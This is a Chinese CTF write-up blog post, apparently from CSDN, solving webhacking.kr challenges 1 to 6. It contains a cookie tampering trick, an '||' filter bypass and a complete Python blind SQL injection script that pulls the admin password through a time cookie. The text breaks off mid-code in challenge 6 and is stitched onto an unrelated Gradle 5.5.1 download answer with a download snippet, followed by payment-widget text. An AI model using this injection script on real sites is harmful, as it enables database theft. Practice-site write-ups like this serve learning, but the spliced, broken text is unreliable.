Webhacking.kr writeup(更新至challenge 29)

本文是Webhacking.kr系列挑战的完整解答,涉及Web安全的各种技术,包括SQL注入、XSS、权限绕过等。作者通过逐个挑战的解析,详细介绍了解题思路和技巧,例如使用盲注、编码绕过过滤、JS解密等方法。每个挑战都提供了关键的payload和解题过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Webhacking.kr writeup

先附上题目的链接

http://webhacking.kr

challenge 1

第一个先看源码,

<a onclick=location.href='index.phps'>----- index.phps -----</a>

先有一个跳转,跟过去看看
又得到了一些源码,重点的如下:

<?

$password="????";

if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>5) @solve();

echo("<br>level : $_COOKIE[user_lv]");

?>

这里很容易就看出把cookie中的user_lv随便一个5-6之间的小树就可以了,所以直接抓包修改就行了

这里写图片描述

challenge 2

好吧这道题。。半知半解加上猜测勉强算是做出来。
回到正题。
点进去是这个样子

这里写图片描述

然后开始找线索,注意,该页的源码里面发现了很关键的东西

这里写图片描述

这就是那条龙对应的连接,点一下就进到了登录admin的界面

这里写图片描述

试了试没法儿注入,然后还发现了这里有个关键的东西:

这里写图片描述

又是要密码,试了试也没有可以注入的迹象,然后整个人都好了,看了题解之后(韩文题解,只能看懂图,爽翻。。。)
说是首页这里有问题

这里写图片描述

首页时
间注释掉了,然后通过抓包

这里写图片描述

试试这里有没有问题,把这里改成如下:

time=1460468419 and 1=1

发现时间变成了

这里写图片描述

那么再试试

time=1460468419 or 1=0

这里写图片描述

所以这里是存在盲注的,那么就可以尝试爆一点东西出来,
由于无法判断是什么数据库,自然也不好直接爆,顶多爆一下库名之类没什么卵用的东西。这里主要是猜想刚才那个admin界面的表对应是admin表,然后猜解他的password字段,
对应的python代码也比较简单,贴一贴吧

import requests
import re
db_length=-1
db_name=""
url = 'http://webhacking.kr/challenge/web/web-02/index.php'
r=requests.session()
def doinject(param):
    header={
  "Cookie":"time="+param+";PHPSESSID=58ltk3o56jd4ug007chbiorne3"}
    result=r.get(url,headers=header)
    content=result.content
    #print content
    if "09:00:01" in content:
        return 1
    return 0

def get_admin_pass():
    global db_length
    global db_name
    for i in xrange(100):
        param="1460468419 and if((select length(password) from admin)="+str(i)+",1,0)"
        if doinject(param):
            db_length=i
            break
    print db_length

    for i in xrange(1,db_length+1): 
        start=48
        end=122
        while(start!=end):
            #print str(start)+" : "+str(end)
            if(end-start==1):
                param="1460468419 and if(ascii(substr((select password from admin),"+str(i)+",1))="+str(start)+",1,0)"
                if(doinject(param)):
                    end=start
                else:
                    start=end
            else:
                mid=(start+end)/2
                param="1460468419 and if(ascii(substr((select password from admin),"+str(i)+",1))>="+str(mid)+",1,0)"
                if(doinject(param)):
                    start=mid
                else:
                    end=mid
        db_name+=chr(start)
        print db_name
    print db_name
get_admin_pass()

这里写图片描述

所以密码就是0nly_admin
那么用这个密码去登录admin页面,得到提示:

这里写图片描述

(尼玛啊,韩文提示你大爷的。。。。百度谷歌翻译一下把)
好歹告诉了一个什么密码还是什么的东西吧。试了试不是board处的密码。
好吧,到这里就怼不动了,看看题解,发现莫名其妙的脑洞第二个表名

这里写图片描述

已跪好吧!
有了第二个表名,又来猜密码,代码都不用变,直接把表名换成FreeB0aRd就可以了,真是烦,浪费我这么多时间,结果是个脑洞。

这里写图片描述

所以board处的密码就是7598522ae

输入之后出现个链接,给了个zip,__AdMiN__FiL2.zip,打开,是一个html文件

这里写图片描述

好吧,这个是有解压密码的,突然想到刚才在admin界面拿到的提示还没有用,那个密码@dM1n__nnanual,输入进去果然成功解压了!打开html文件
卧槽卧槽,终于出来了

这里写图片描述

所以flag就是这个了,HacKed_by_n0b0dY,好吧这道题我已经报警了,浪费了我整整快一天时间了。。。结果就尼玛脑洞过来的(好吧,可能是因为看不懂韩文,没有找到hint的位置吧)
然后去提交就行了。

challenge 3

打开就是这样一个网页

这里写图片描述

然后简单看看,只有右下角的5*5格子可以操作,看看源码也并没有什么有价值的东西
然后观察格子,最后猜测,就是每一行或每一列对应的就是我们应该画上的黑格子的数量,比如一个3,我们就要画三个连续的黑格子,比如111,我们就要画三个间隔的黑格子,所以试了试之后,如下:

这里写图片描述

出现一个输入框,先抓包看看,也没有什么异样,尝试注入,发现answer字段这里有注入的迹象

这里写图片描述

试了试之后,发现像是',or,#等等都被过滤了,最后成功的payload就是这个

这里写图片描述

||代替or,所以根据返回来看,答案就是new_sql_injection这个了

challenge 4

一看先是个base64解码,然后又是sha1解密,接着还是sha1解密
比较简单,最后答案就是test
不做赘述

challenge 5

这道题应该是比较简单的了,我觉得明明应该是对的但还是出不来,浪费了不少时间,这里先不写,回头再来补把。

challenge 6

看源码,一堆替换,第一部分php代码就是当我们没有设定cookie的时候它会自动生成,这部分不用管。重点是第二部分,

$decode_id=$_COOKIE[user];
$decode_pw=$_COOKIE[password];

$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);

$decode_pw=str_replace(
### Gradle 5.5.1 Bin Zip 下载链接 Gradle 5.5.1 的二进制分发包可以通过多个渠道获取。以下是几个可用的下载地址: #### 官方镜像源 可以访问腾讯云提供的官方镜像站点来下载所需的文件,具体路径如下: ```plaintext https://mirrors.cloud.tencent.com/gradle/gradle-5.5.1-bin.zip ``` 此链接由分析配置文件得出结论[^4]。 #### 开源工具库 另一个可选方案是从开源工具库中直接获取该版本的二进制文件,其项目地址为: ```plaintext https://gitcode.com/open-source-toolkit/4183d ``` 这里提供了名为 `gradle-5.5.1-bin.zip` 的资源文件供用户下载[^1]。 #### 针对 Qt 用户 对于使用 Qt 进行 Android 应用开发的开发者来说,也可以从专门针对 Qt 提供的支持页面下载对应的 Gradle 版本: ```plaintext https://gitcode.com/open-source-toolkit/23f98 ``` 该项目同样包含了适用于 Qt 平台编译需求的 Gradle 5.5.1 二进制文件[^5]。 如果上述方法均无法满足您的需求或者遇到网络限制等问题,则还可以尝试其他第三方存储服务作为备选方案之一,比如微云分享链接(需注意提取码): ```plaintext https://share.weiyun.com/5n5kr6v (密码:ctRR) ``` 不过需要注意的是这个位置实际存放的是 Gradle 5.1.1 而不是目标版本,请谨慎选用[^2]。 最终推荐优先考虑前两个正式途径完成安装部署工作以确保稳定性和兼容性表现最佳效果。 ```python import requests def download_gradle(url, destination): response = requests.get(url, stream=True) with open(destination, 'wb') as file: for chunk in response.iter_content(chunk_size=1024): if chunk: file.write(chunk) download_url = "https://mirrors.cloud.tencent.com/gradle/gradle-5.5.1-bin.zip" destination_path = "./gradle-5.5.1-bin.zip" try: download_gradle(download_url, destination_path) except Exception as e: print(f"Download failed: {e}") ```
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值